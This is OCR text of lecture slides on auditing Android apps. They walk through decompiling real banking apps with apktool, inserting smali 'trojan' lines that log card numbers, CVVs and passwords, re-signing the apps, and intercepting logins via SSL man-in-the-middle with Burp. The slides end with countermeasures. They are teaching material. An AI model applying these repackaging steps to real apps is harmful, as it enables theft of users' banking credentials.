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Security Auditing Mobile Apps




Adding Trojans to Apps
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Android is #1

e 80% market
sharein 2014 =

90%

— Link Ch 4a

70%

Global Smartphone Market Share By Platform

60%
50%

40%

Share of Global Unit Sales

30%

Microsoft

20%

10%

0%
Q3 Q4 Q1 Q02 03 Q4 Q1 Q2 03 04 Q1 Q2 O3 Qe Qa1 Q2 a3 o4
2009 2009 2010 2010 2010 2010 2011 2011 2011 2011 2012 2012 2012 2012 2013 2013 2013 2013 2014

Source: IDC, Strategy Analytics
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App Signing

* All apps must be signed to be installed, BUT
— Android allows self-signed certificates

* Google Play is the "official" app store, BUT
— Google doesn't police it well

— Apps can be installed from email, Web pages, etc.
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Android Debug NG
) emul ator-5554 device
Bridge

cllfSfS3 device

C:\>adb -s cllf5f53 shell
root@android:/ # _

e Command-line tool

* Allows you to communicate with a mobile
device via a USB cable or an SVD running
within an emulator

* Connects to device's daemon running on TCP
port 5037
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Useful ADB Commands

* push

— Copies a file from your computer to the mobile
device

* pull
— Copies a file from the mobile device to your
computer
* logcat
— Shows logging information on the console

— Useful to see if an app or the OS is logging
sensitive information
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Useful ADB Commands

e install

— Copies an application package file (APK) to the
mobile device and installs the app

— Useful for side-loading apps (so you don't have to
use Google Play)

* shell
— Starts a remote shell on the mobile device
— Allows you to execute arbitrary commands
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Decompiling and Disassembly
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Static Analysis

e Source code is generally kept confidential by
app developers

* A binary, compiled app can be analyzed by
disassembling or decompiling them, into

— Smali assembly code (used by Dalvik VM), or
— Java code
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Project 9: Decompiling and Trojaning an Android App
with Smali Code (15 points)

c e e e e s sambowne Sun Feb 01 07:10:02

~ $cd Downloads/
. . Sambowne Sun Feb 01 07:10:13

Downloads $]ava -jar apktool_2.0.0rc3.jar d app-release.apk

: Using Apktool 2.0.0-RC3 on app-release.apk

: Loading resource table.

: Decoding AndroidManifest.xml with resources...

: Loading resource table from file: /Users/sambowne/Library/apktool/framework/1.apk

: Regular manifest package...

: Decoding file-resources...

: Decoding values *x/* XMLs...

: Baksmaling classes.dex...

: Copying assets and libs...

: Copying unknown files...

: Copying original files...

HHHHHHHHHHH

e e e e . sambowne Sun Feb 01 07:10:24
Downloads $ |
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TD Ameritrade

(] adobe

(] android

(] etermax

L fsm

(] google

(] tdameritrade

[ xtify

- [] mobile
~ (] mobile3

7 AccountManager.smali
= 7 AccountManagerS$1.smali
- AccountManagerS$BalancesPositionsTask.smali
7 AccountManager$BalancesUpdater.smali
7 AccountManager$EggShell.smali
" AccountManagerSGridTokenTask.smali
7 AccountManagerS$LoginTask.smali
- AccountManagerS$LogoutTask.smali
- AccountManager$VendorSurrogateldTask.smali
7 AccountManager$Ven...rogateldTask$1.smali

- Base.smali

- BaseS1l.smali

7 Base$2.smali

- CashManager.smali

- CashManager$BankinginfoTask.smali

7 CashManager$BankingSaveTask.smali

- CashManager$BankingValidateException.smali
- CashManagerSCheckingHistoryTask.smali
- CashManager$CheckingInfoTask.smali

- CashManager$CheckingSendTask.smali

7 CashManagerSCheckingTermsTask.smali
7 CoreSettings.smali

.

ApiError$WatchlistNotFound.smali
binding

BuildConfig.smali
ConsumerApi.smali
ConsumerApi$1.smali
ConsumerApi$2.smali
ConsumerApi$3.smali
ConsumerApi$4.smali
ConsumerApi$5.smali
ConsumerApi$6.smali
ConsumerApi$7.smali
ConsumerApi$8.smali
GridApi.smali

MarkitApi.smali

MarkitApi$ 1.smali
MarkitApiSMarketState.smali
MarkitApiSNewsCategory.smali
MarkitApiSNewsCategory$1.smali
MarkitApiSNewsSource.smali
MarkitApiSNewsSource$1.smali
model

R.smali

RSarray.smali

e No obfuscation
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Bank of America

e ProGuard Free Obfuscator
— Worthless

(] accounts

(] alerts

(] auth

(] bba

(] billpay

[ ] coachmarks
[ ] deals

(] deposits
(] helpandsettings
(] locations
(] marvel

(] servicelayer
[ ] transfers

- [l a » (L] common " 7 br.smali

— a.smali (] enroliments " |7 bs.smali
- [] activities ~ [ forgotflows " |5 bt.smali
~ [ app > @l pcr ® 5 bu.smali
L @ signin
~ | b.smali (] splash " 7 bv.smali
al K- > 1 bw.smali
|7 csmali 7 bx.smali
> @ d » 1 by.smali

- d.smali  bz.smali

 e.smali - c.smali

- f.smali - ca.smali

| g.smali - CancelActivity.smali

- h.smali - CancelReasonActivty.smali
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Java v. Smali Code

public int performLogin(String server, String port, String username, String password)

throws JSONException, IOException, HttpException {

// First perform the RESTful operation

String protocol = mHttpsMode ? "https://" : "http://";

String url = protocol + server + ":" + port + "/login";

Map<Strina. Strinao> parameters = new HashMap<~>();

parameters.put(“username”, username);

parameters.put(“password", password);

.method public performLogin(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/

. locals 10

.param pl, "server" # Ljava/lang/String;
.param p2, "port" # Ljava/lang/String;
.param p3, "username" # Ljava/lang/String;

.param p4, "password" # Ljava/lang/String;
.annotation system Ldalvik/annotation/Ihrows;
value = {
Lorg/json/JSONException;,
Ljava/io/I0Exception;,
Lcom/securitycompass/androidlabs/base/HttpException;

}

.end annotation
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Building & Signing an App

java -jar apktool 2.0.0rc3.jar b app-release

jarsigner -verbose -keystore ~/Box\ Sync/website/128/proj/p9cert.jks app-
release/dist/app-release.apk proj9key
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onitoring the Log

Android Device Monitor '
L Quick Access I m ]Qooms A  + Q-
B Devices I3 Fexo022cla@ry "0 B @ @A PN Fr 2|@c.Os.| ©
Name wal- I v
v g genymotion-google_galaxy_nexus__4_... Online 4.3, debug Name Size Date
system_process 3584 9267 >y acct 2015-02-(
com.android.systemul 3657 9268 / 8700 » > cache 2015-02~(
com.android.inputmethod.latin 3755 9270 » = config 2015-02-(
com.google.process.location 3763 9271 =d 2015-02~(
D Logcat 2B | B Console = 0
Saved Filters b - [? Search for messages. Accepts Java regexes. Prefix with pid-, app:, tag: or text: to limit scope | verbose $.1 H m D4
All messages (no filters)
Ler Time PID TID Application Tag Text
D ©02-01 14:03:05.584 3584 3833 system_process dalvikvm GC_FOR_ALLOC freed 743K, 18% free 17314K/21008K, paus:
s
V 02-01 14:03:05.600 3657 3657 com.android.systemui PhoneStatusBar setLightsOn(true)
D ©02-01 14:03:08.404 3584 3636 system_process dalvikvm GC_FOR_ALLOC freed 2124K, 18% free 17326K/21008K, pau:
ms
D ©2-01 14:03:10.672 10411 10411 com.securitycompass.androidlabs.b. _dalyvikwvm GC_FOR _ALINC freed SRIK, A% free 9552K/10160K, paused
£ 02-01 14: :10.67 1 18411 com.securitycompass.androidlabs.b._] YOURNAME USERNAME AND PASSWORD BELOW
E 02-01 14 67 %] labs.b_J YOURNAME jdoe
E 02-01 14: .67 labs.b_] YOURNAME password
I 02-01 14: .6 ActivityManager START u®d {cmp-com.securitycompass.androidlabs.base/.S:
ivity (has extras)} from pid 10411
D ©92-01 14:03:10.760 3584 4759 system_process dalvikvm GC_FOR_ALLOC freed 1654K, 18% free 17311K/21008K, pau:

47Mof 493m [
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./adb logcat

Much better way to monitor log
Filter with grep

. . sambowne Sat May 23 08:55:22
platform—tools $ /adb logcat | egrep 'VFY|Verif'
W/dalvikvm(17933): VFY: tried to get class from non-ref register v2 (type=0)
W/dalvikvm(17933): VFY: rejecting opcode @x6e at 0x001d
W/dalvikvm(17933): VFY: rejected Lcom/zecco/mobile/activity/login/Login;.userLogin ()V
W/dalvikvm(17933): Verifier rejected class Lcom/zecco/mobile/activity/login/Login;
W/System.err(17933): java.lang.VerifyError: com/zecco/mobile/activity/login/Login
E/AndroidRuntime(17933): java.lang.VerifyError: com/zecco/mobile/activity/login/Login
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Attacks via Decompiling and
Disassembly

Insert Trojan code, like keyloggers
Find encryption methods & keys

Change variables to bypass client-side
authentication or input validation

Cheat at games
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Dancing with Dalvik

Getting to dalvik

+ Android apps are traditionally written in
Java

« Compiled into Java bytecode then
converted to Dalvik bytecode

« Java class files converted into .dex

e Link Ch 4z43
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Step-by-Step: Bank of America

8 O 0

#8% Bank of America
>
Bank of America ¥

2200

Downloads 253,815 2 Finance Similar

The Bank of America app lets you easily
view balances, make transfers, and more.

WHAT'S NEW

Genymotion for personal use - Google Galaxy Nexus - 4.3 - APl 1... |

« +« + + +« « « . sambowne Sat Feb 07 06:28:21
platform-tools $./adb shell pm list packages | grep bofa
package:com.infonow.bofa

e e e e e e s sambowne Sat Feb 07 06:28:22
platform-tools $./adb shell pm path com.infonow.bofa
package:/data/app/com. infonow.bofa-1.apk

« +« « +« « +« « . sambowne Sat Feb 07 06:28:22
platform-tools $./adb pull /data/app/com.infonow.bofa-1.apk
7012 KB/s (10724018 bytes in 1.493s)

oo I

s e e e e s sambowne Sat Feb 07 06:29:30

boa2 $java -jar ../apktool_2.0.0rc3.jar d com.infonow.bofa-1.apk
I: Using Apktool 2.0.0-RC3 on com.infonow.bofa-1.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/sambowne/Library/apkt
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...

I: Copying original files...

e e sambowne Sat Feb 07 06:29:59
boa2 $/
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Step-by-Step: Bank of America

sambowne Sat May 23 09:13:26
com 1nfonow bofa-l $grep -r setCardNum smali
smali/com/bofa/ecom/auth/activities/common/CardVerificationActivity.smali:
icationDetails;->setCardNumber(Ljava/lang/String;)V
smali/com/bofa/ecom/auth/activities/enrollments/AtmDebitDetailsActivity.smali:
erificationDetails:->setCardNumber(lLiava/lana/Strina:)V
smali/com/bofa/ecom/auth/activities/enrollments/BusCcDetailsActivity.smali:
ticationbetalls;->setCardNumber(Ljava/lang/5tring;)V
smali/com/bofa/ecom/auth/activities/enrollments/PersCcDetailsActivity.smali:
ificationDetails;->setCardNumber(Ljava/lang/String;)V

(] accounts > Gl a » [ common " 7 br.smali
(] alerts "7 a.smali (] enrollments " |7 bs.smali
(] auth = [] activities ~ [ forgotflows " |5 bt.smali
(] bba * [ app > @ pcr ® 5 bu.smali
(3 billoay » b ~ £ signin
(] coachmarks * 7 b.smali (] splash " 7 bv.smali
(] deals 41 K- > - bw.smali
(] deposits » 9 csmali 1 bx.smali
(] helpandsettings > G d » - by.smali
(] locations m 7 d.smali - bz.smali
(] marvel m 0 esmali - c.smali
(] servicelayer m 7 f.smali - ca.smali
[ ] transfers =7 g.smali 1 CancelActivity.smali
- h.smali - CancelReasonActivty.smali
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Step-by-Step: Bank of America

271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288

.method private 1()V
# CHANGED FROM 3 to 5 FOR TROJAN
. locals 5

.prologue
. line 185
new-instance v1, Lcom/bofa/ecom/servicelayer/model/MDAUserVerificationDetails;

invoke-direct {v1}, Lcom/bofa/ecom/servicelayer/model/MDAUserVerificationDetails;-><init>()V

. line 186
iget-object v@, p@, Lcom/bofa/ecom/auth/activities/enrollments/BusCcDetailsActivity;->w:Ljava/lang/Stri

invoke-virtual {vl1, v@}, Lcom/bofa/ecom/servicelayer/model/MDAUserVerificationDetails;->setCardNumber(L

# EVIL TROJAN CODE
const-string v3, "BofA TROJAN CARD NUMBER"
invoke-static {v3, v@}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I

289 # END OF EVIL TROJAN CODE

290

309 . line 189

310 iget-object v@, p@, Lcom/bofa/ecom/auth/activities/enrollments/BusCcDetailsActivity;->x:Ljava/
311

312 invoke-virtual {v1, v@}, Lcom/bofa/ecom/servicelayer/model/MDAUserVerificationDetails;->setCvv
313

314 # EVIL TROJAN CODE

315 iconst-string v3, "BofA TROJAN CARD CwV"

316 invoke-static {v3, v@}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I

317 # END OF EVIL TROJAN CODE

318
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Step-by-Step: Bank of America

« +« 4« s+ 4+« « . sambowne Sat Feb 07 06:37:18
com infonow.bofa-1 $java -jar ../../apktool_2.0.0rc3.jar b .
Using Apktool 2.0.0-RC3 on .
Checking whether sources has changed...
Smaling smali folder into classes.dex...
Checking whether resources has changed...
Building resources...
Copying libs...
Building apk file...
Copying unknown files/dir...

== - -

sambowne Sat Feb 07 06:39:04
com 1nfonow bofa-l $jarsigner -keystore ../../p9cert.jks ./dist/com.infonow.bofa-1.apk proj9key
Enter Passphrase for keystore:
jar signed.

warning:
No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may n
r after the signer certificate's expiration date (2040-01-26) or after any future revocation date
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DEMO: Bank of America

sambowne Fri May 22 12:54:20

platform—tools $ /adb logcat | grep TROJAN
E/BofA TROJAN CARD NUMBER( 7781): 1111222233334444

E/BofA TROJAN CARD CWV( 7781): 5555

1

Card Expiration Date

Month 04 - April

Year 2019

3-4 Digit Security Code

Where do | find this?

Last 4 Digits of SSN/TIN
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DEMO: The Bancorp

CNBH O

= 4

50% @F Sat May 23 9:52:29 AM Sam Bowne Q

TESTUSERID

Save my User ID

OFF

platform-tools $.

E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp
E/Bancorp

E/Bancorp
f

TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN

at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at

platform-tools

grep

79%26

. . sambowne Sat May 23 09:51:47
/adb logcat | grep TROJAN

SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:
SecureUIText:

200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200

text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):
text=(19187):

T
TE

TES

TEST

TESTU
TESTUS
TESTUSE
TESTUSER
TESTUSERI
TESTUSERID
TESTUSERID
T

TE

TES

TEST

TESTP
TESTPA
TESTPAS
TESTPASS
TESTPASSW
TESTPASSWO
TESTPASSWOR
TESTPASSWORD
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DEMO: Capital One

TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN
TROJAN

E/Capl
E/Capl
E/Capl
E/Capl
E/Capl
E/Capl
E/Capl
E/Capl
E/Capl
E/Capl
E/Capl
E/Capl
E/Capl
E/Capl
E/Capl
E/Capl

Capital One Bank Sign In

User ID
{userid ‘

Password

OFF

Remember User ID

platform-tools $.

IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN

. . sambowne Sat May 23 09:53:59
/adb logcat | grep TROJAN

CordovaWebView:
CordovaWebView:
CordovaWebView:
CordovaWebView:
CordovaWebView:
CordovaWebView:
CordovaWebView:
CordovaWebView:
CordovaWebView:
CordovaWebView:
CordovaWebView:
CordovaWebView:
CordovaWebView:
CordovaWebView:
CordovaWebView:
CordovaWebView:

2803
2803
2803
2803
2803
2803
2803
2803
2803
2803
2803
2803
2803
2803
2803
2803

keycode=(19355):
keycode=(19355):
keycode=(19355):
keycode=(19355):
keycode=(19355):
keycode=(19355):
keycode=(19355):
keycode=(19355):
keycode=(19355):
keycode=(19355):
keycode=(19355):
keycode=(19355):
keycode=(19355):
keycode=(19355):
keycode=(19355):
keycode=(19355):

49
47
33
46
37
34
67
32
44
29
47
47
51
43
46
32

Need help signing in or enrolling? >

8 Mobile Security & Privacy

The map is on this page, in an extremely inconvenient form:

http://developer.android.com/reference/android/view/KeyEvent. html

By signing in, you are accepting the Capital One Online Banking Terms
and Conditions.

© 2015 Capital One and Capital One’s family of companies, including
Capital One Bank (USA), N.A,, and Capital One, N.A., Members FDIC

Here are some selected values:

LETTER KEYCODE
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DEMO: SunTrust

[e oo Genymotion for personal use - Google Galaxy Nexus - 4.3 - AP| 1...

Trouble Signing On?

The User ID / Password you entered does
not match our records. Please try again.

User ID USERID-TEST
Password eeeccccccocee
Remember My User ID

Konylabs

* Capture HTTP
Parameters

. sambowne Sat May 23 10:02:42
platform-tools $ /adb logcat | grep TROJAN
E/SunTrust TROJAN in N_Encryption: PASSWORD=(19485): PASSWORD-TEST
E/SunTrust TROJAN at ny@k/ax.2:1475: NAME=(19485): userID
E/SunTrust TROJAN at ny@k/ax.2:1475: VALUE=(19485): USERID-TEST
E/SunTrust TROJAN at ny@k/ax.2:1475: NAME=(19485): userAgentDetails
E/SunTrust TROJAN at ny@k/ax.2:1475: VALUE=(19485): Google Galaxy Nex
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DEMO: TradeKing

Genymotion for personal use - Google Galaxy Nexus - 4.3 - APl 1...

(@00

* App is patched!

e "Verifier" detects the
Trojan

Unfortunately, TradeKing has
stopped.

D/dalvikvm(15939): GC_FOR_ALLOC freed 1108K, 25% free 19624K/25976K, paused 13ms, total 13ms
W/dalvikvm(19560): VFY: tried to get class from non-ref register v2 (type=0)

W/dalvikvm(19560): VFY: rejecting opcode @x6e at 0x001d

W/dalvikvm(1956@0): VFY: rejected Lcom/zecco/mobile/activity/login/Login;.userLogin ()V
W/dalvikvm(19560): Verifier rejected class Lcom/zecco/mobile/activity/login/Login;
W/dalvikvm(19560): Class init failed in newInstance call (Lcom/zecco/mobile/activity/login/Login;)
D/AndroidRuntime(19560): Shutting down VM

W/dalvikvm(19560): threadid=1: thread exiting with uncaught exception (group=0xa4b6b648)
W/System.err(19560): java.lang.VerifyError: com/zecco/mobile/activity/login/Login
W/System.err(19560): at java.lang.Class.newInstanceImpl(Native Method)
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DroidDream (2011)

* Was primarily distributed by the Google Play store

e Legitimate apps were repackaged to include
DroidDream and then put back in the Play store

DroidDream Becomes Android
Market Nightmare

By Tony Bradley, PCWorld Mar 2, 2011 8:10 PM

For many Android fans, one of the most important elements of the OS is that it is
open. Unlike the draconian rules for the Apple App Store, and the tightly-controlled
user experience of iOS, Android is an open source platform with much more lenient
access to the Android Market. That freedom can also be exploited, though, to slip

malicious apps into the mainstream.
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Google's Response

* Google removed the repackaged apps from
the Play Store

 But 50,000 — 200,000 users were already
infected
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Google Application Verification Service

* Launched in 2012
* Tries to detect malicious apps

* Much less effective than 3™-party AV
— Link Ch 5e

A comparison of malware detection capabilities (w/ samples from Android Malware Genome Project)

100% B App Verification

Service

B AV1
75% L AV2
B AV3
B AV4
50% M AV5
B AVE
B AV7
B AV8
B AV9

M AV10

25% ‘

0%
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Decompiling, Disassembly, and
Repackaging Countermeasures

Every binary can be reverse-engineered
— Given enough time and effort

Never store secrets on the client-side

Never rely on client-side authentication or
client-side validation

Obfuscate source code
— ProGuard (free) or Arxan (commercial)
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DashO — Powerful Obfuscator

A
| 4

o o o e e e e e e e e e e e e e e

ContactActivity.smali
eval__.smali
eval_a.smali
eval_ae.smali
eval_b.smali
eval_bh.smali
eval_c.smali
eval_cx.smali
eval_d.smali
eval_e.smali
eval_f3.smali
eval_f3s1l.smali
eval_f3Sa.smali
eval_f3Sr.smali
eval_g.smali
eval_h.smali
eval_i.smali
eval_in.smali
eval_in$1l.smali
eval_in$2.smali
eval_inSd.smali
eval_j.smali
eval_k.smali
eval_kS$1.smali
eval_l.smali
eval_m.smali
eval_n.smali
eval o.smali

eval_bh.smali - /Users/sambowne/Downloads/p6x/app-release-unaligned/smali)

= Q

Close Live Find Ady

const-string v1, "wqgsmdoexRhf|t|ryp"

invoke-static {v1, v4}, Lcom/securitycompass/androidlabs/base/eval
move-result-object vl

invoke-virtual {ve@, v1}, Landroid/content/Intent;->hasExtra(Ljava/
move-result vl

if-eqz v1, :cond_0

const/16 vl1, Ox75f

const-string v2, ",4 6&) (3\u@@17/#\')#/\"5"

invoke-static {vl1, v2}, Lcom/securitycompass/androidlabs/base/f;->

Slides and projects at samsclass.info



All Strings Concealed

e BUT it costs $2000

e e e e e sambowne Sun Feb 15 06:58:48
app-release-unaligned $cd smali/

s 2 2 a2 2 sambowne Sun Feb 15 06:58:50
smali $grep -ir password .

e e e e a . sambowne Sun Feb 15 06:59:03
smali $grep -ir login .

sambowne Sun Feb 15 06:59:12

smali ;D '
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OWASP Mobile Top 10 Risks

M1 — Weak Server
Side Controls

M2 — Insecure M3 - Insufficient M4 - Unintended

Transport Layer
Data Storage P . Y
Protection

Data Leakage

MS5 - Poor
Authorization and
Authentication

M8 - Security
Decisions Via
Untrusted Inputs

M6 - Broken M7 - Client Side
Cryptography Injection

M9 - Improper M10 - Lack of
Session Handling Binary Protections
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Broken SSL
Repeating Old Work
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CERT's Test in 2014

X f [ www.cert.org/blogs/certcc/post.cfm?EntrylD=204 Ql @ B

Finding Android SSL Vulnerabilities with CERT Tapioca

By Will Dormann on 09/03/2014 | Permalink

Hey, it's Will. In my last blog post, | mentioned the release of CERT Tapioca, an MITM testing appliance.

Total apps tested 1000462
Total apps that have failed dynamic testing: 23667

e 23,667 vulnerable apps
* All warned in 2014 by CERT
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Still Vulnerable

€« C M @ https://samsclass.info/128/proj/popular-ssl.htm#FOXIT £ & Q@ q] =

Popular Android Apps with SSL Certificate Validation Failure

Vulnerable Android Apps
App ‘ Vulnerability |
PicsArt (100 Million Downloads) | SSL MITM |
S(S)W'I'l:l(gaFdisl)e Manager with Cloud (50 Million SSL MITM
g?) yljtillle() E:s};lorer File Manager (100 Million SSL MITM

CityShop - for Craigslist (10 Million Downloads) |SSL MITM |
Truecaller - Caller ID & Block (50 Million

Downloads) Plaintext PII Transmission

Instachat (5 Million Downloads) |SSL MITM |
Phone for Google Voice & GTalk (1 Million MITM

Downloads) ==l

OkCupid (5 Million Downloads) [SSL MITM |
Safeway (1 Million Downloads) |ssL MIT™ |
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Simple SSL Test

Cenymotion for personal use - Google Galaxy Nexus - 4.3 - APl 1...

Route Android
traffic through Burp

Proxy

Don't install the
PortSwigger root

certificate

This is a MITM A Security warning

attack There are problems with the
security certificate for this site.

The default

browser detects |t Go back View certificate Continue
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DEMO: PicsArt (100 Million)

8 00 Genymotion for personal use - Google Galaxy Nexus - 4.3 - APl 1...

OB E R B R K- 2:23 27

< PicsArt

/

Login or Sign Up with

or using your PicsArt account

SL PICSART-USER

| forgot my password.

Not a member yet? Register Here

8 OO0

Burp Suite Free Edit

Burp Intruder Repeater Window Help

| Target | Proxy T Spider | Scanner T Intruder | Repeater T Sequencer

| Intercept | HTTP history \ WebSockets history | Options ]

Filter: Showing all items

A | Host | Method

' URL

=

4 https://dev.appboy.com

5 https://graph.facebook.com
6 https:/fgraph.facebook.com
7 https:/fanalytics.query.yaho...
8 https://dev.appboy.com

9 https://api.picsart.com

ELS

POST
GET
POST
CET
POST
POST

[api/v2/data
/v2.3/1085692525395
/v2.3/1085692525395
/v1/public/yql?q=selec
[api/v2/data
fusers/signin.json

D —

J Request T Response ]

| Raw | Params T Headers THex ]

POST request to fusers/signin.json

v ..l Value

...... PICSART-PASSWORD
...... picsart-user
...... android
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DEMO: InstaChat(100 Million)

e 00 Genymotion for personal use - Google Galaxy Nexus - 4.3 - APl 1

ONEY L L 8§

Instagram

instachat-user

Username:

Password:

Forgot password? ﬁ

Please log in to your Instagram account.
Please use your UserName. Do not use
Email address.

e OO Burp Suite Free

Burp Intruder Repeater Window Help

Target | Proxy TSpider TScanner T Intruder T Repeater TSequ

Intercept | HTTP history TWebSockets history T Options ]

Filter: Showing all items

# A | Host | Method | URL
38 https://instagram.com POST faccounts /login/?
39 https://ssl.google-analytics.... GET /__utm.gif2utmwv
1« J

j Request T Response ]

Raw | Params THeaders THex ]

POST request to faccounts/login/

o . Value

«. .. foauth/authorize/?client_id=83aca4800f394df4ba923a770e8(
...... VWDVdQABAAGNMmMWWWvz5SFUICsij
o o A
. .. 9e8le61b4bfdlaebh779b65152957b674
. .. 227057989.886275742.1432409471.1432409471.143240947
. .. 227057989.2.10.1432409471
. .. 227057989
. ... 227057989.1432409471.1.1.utmcsr=(direct)jutmccn=(direct)|
.. 9e8le61b4bfdlaeb779b65152957b674
.. Instachat-user
.. Instachat-password
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DEMO: OKCupid — FIXED!

"® O O <o Genymotion for personal use - Google Galaxy Nexus - 4.3 - APl 1...

ol lB B ® 9.0 NN |

Security Alert

You are currently on a Wi-Fi
network that OkCupid considers
unsafe. Try another Wi-Fi network
or use your cellular network
instead.

Network Settings Trust this network
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DEMO: Safeway (1 Million)

00
ol laaauna

( Sign In

Genymotion for personal use - Google Galaxy Nexus - 4.3 - AP 1...

Please sign in with your
safeway.com account

SafewayShopper@AOL.COM

Having Trouble Signing In?

Don't have a Safeway account? Join the
savings revolution and sign up now!

® OO0 Burp Suite Free Edition v1.€

Burp Intruder Repeater Window Help

( Target TProxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decod

( Intercept T HTTP history T WebSockets history T Options ]

Filter: Showing all items

# 4| Host | Method | URL

64 http://www.safeway.com GET Jemmd/Safeway/config/categonry
65 https://mcloud.safeway.com GET Jemmdadmin/service/messageb
66 https://androidquery.appsp... GET /api/market?app=com.safeway.c
67 https://data.flurry.com POST Jaap.do

68K https:/fauth.safeway.com POST _'/ opensso/identity/authenticate?
« J

_[RequestT Response ]

| Raw l Params THeaders THex ]

POST request to fopensso/identity/authenticate

wd « Value

...... realm=consumerPortal
...... SafewayShopper@AOL.COM
...... TopSecretPas
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Broken SSL
Medical Apps
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CERT found 265 Vulnerable
Medical Apps

&~ C A @ https://docs.google.com/spreadsheets/d/1t5GXwjw82SyunALV]b2wO0zi3FoLRIkfGPc7AMjRFOr4 /edit#gid... 4@ ) q =

Android apps that fail to validate SSL [ sam.bowne@gmail.com ~
= -

File Edit View Data Tools Help  View only Am =]

=
Fx Genre

Range: A1:AA23668

Library
traffic
Count Dateadded Versiontested mnallodroid broker observed '

l App Link
Kelsey Pharmacy com kelseypharmacy.cy Medical 100+ 2014-11-20 1.04.05 TRUE

Kidfolio Baby Tracker & Book com.alt12 kidfolio Medical 50,000+ 2014-11-14 221 Maybe TRUE

La Croix du Sud Hospital com.wlaCroixduSudHg Medical 100+ 2014-12-22 0.1 Maybe

Lab4U Plus ru.lab4u.plus Medical 500+ 2014-12-09 1.0 TRUE

Laboratorio LB app.LB.com Medical 10+  2015-01-01 1.0 TRUE

Lepointveterinaire.fr com.wolterskluwer.wkvi Medical 1,000+ 2014-10-21 2.3 TRUE

LIFE Pregnancy Counselling com.wLIFEPregnancyC Medical 100+ 2014-12-31 0.21.13285.45246 Maybe

Liver Health - Hepatitis C gov.nyc.dohmh.HepC Medical 100+ 2014-10-11 2.0.0 TRUE

Los Angeles Dog Emergency Tips com.andromo.dev4832! Medical 100+ 2015-01-16 1.0 TRUE

LowestMed Corporate Rx com.lowestmed.androic Medical 1,000+ 2014-12-21 1.05 TRUE

Lucas CPR com.appsbar.LucasCP} Medical 100+ 2014-10-15 20 FALSE

Ma Pharmacie Mobile com.pharmagest.applic Medical 10,000+ 2014-11-10 204 FALSE TRUE
malpractice com.wmalpractice Medical 10+  2014-11-14 0.21.13254.69483 Maybe

Mamma-Ca de.medac.mammafolde Medical 100+ 2014-11-16 11.2 TRUE

Mandai Herbalist Clinic com.wMANDAIHERBAI Medical 100+ 2014-11-23 0.1 Maybe

Marbo Hair com.wMarboHair Medical 1+ 2014-12-06 0.1 Maybe

Maryvale com.abrazohealth.mary Medical 2015-01-16 1.0 TRUE -

Medical Directory com.wMedicalDirectory Medical 500+ 2014-11-18 0.1 Maybe M

= Android SSL Failure Summary ~ | Android App SSL Failures Android Library SSL Failures ~ @  Count: 265
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HIPAA

[') www.hhs.gov/ocr/privacy/hipaa/understanding/special/healthit/safeguards.pdf

SAFEGUARDS PRINCIPLE: Individually identifiable health information should be
protected with reasonable administrative, technical, and physical safeguards to ensure its
confidentiality, integrity, and availability and to prevent unauthorized or inappropriate access,
use, or disclosure.
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My Repeat of CERT Tests

2

C f | @ https://samsclass.info/128/proj/popular-ss.htm
In my opinion, all the apps below fail to comply with HIPAA

EyeXam (5000 Downloads) SSL MITM

Garland & Associates (10 Downloads) SSL MITM
%H_Dﬁ%‘%l()lgg:o V%Tﬁi?onse IL LI

Liver Health - Hepatitis C (500 Downloads) SSL MITM

LowestMed Corporate Rx (1000 Downloads) SSL MITM

Order Mvi (50 Downloads) SSL MITM

Pain Timer (50 Downloads) SSL MITM

Pharmacy Health Connect (1000 Downloads) SSL MITM

Pulsara (100 Downloads) SSL MITM

RCEMS Field Guide (1000 Downloads) SSL MITM

RCP Sacramento (500 Downloads) SSL MITM

Rx Refills (1000 Downloads) SSL MITM

T-Res Fast Clinical Logging (1000 Downloads) SSL MITM

UCLA eIBD (100 Downloads) SSL MITM

UCLA Health (1000 Downloads) SSL MITM

Virtual Physician's Network (1 Download) Plaintext HTTP authentication
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DEMO: GenieMD

e 00 Genymotion for personal use - Google Galaxy Nexus - 4.3 - APl 1...

ol lauuauuun

Sign Up With Email

I-TRUST-GENIEMD@AOL.COM

CANCEL pgSilel RS

8 O 0

Burp Intruder Repeater Window Help
[Target TProxy T Spider I Scanner T Intruder T Repeater T Sequencer T Decoder T Comps:

| Intercept l HTTP history TWebSockets history T Options ]

Filter: Showing all items

Burp Suite Free Edition v1.6

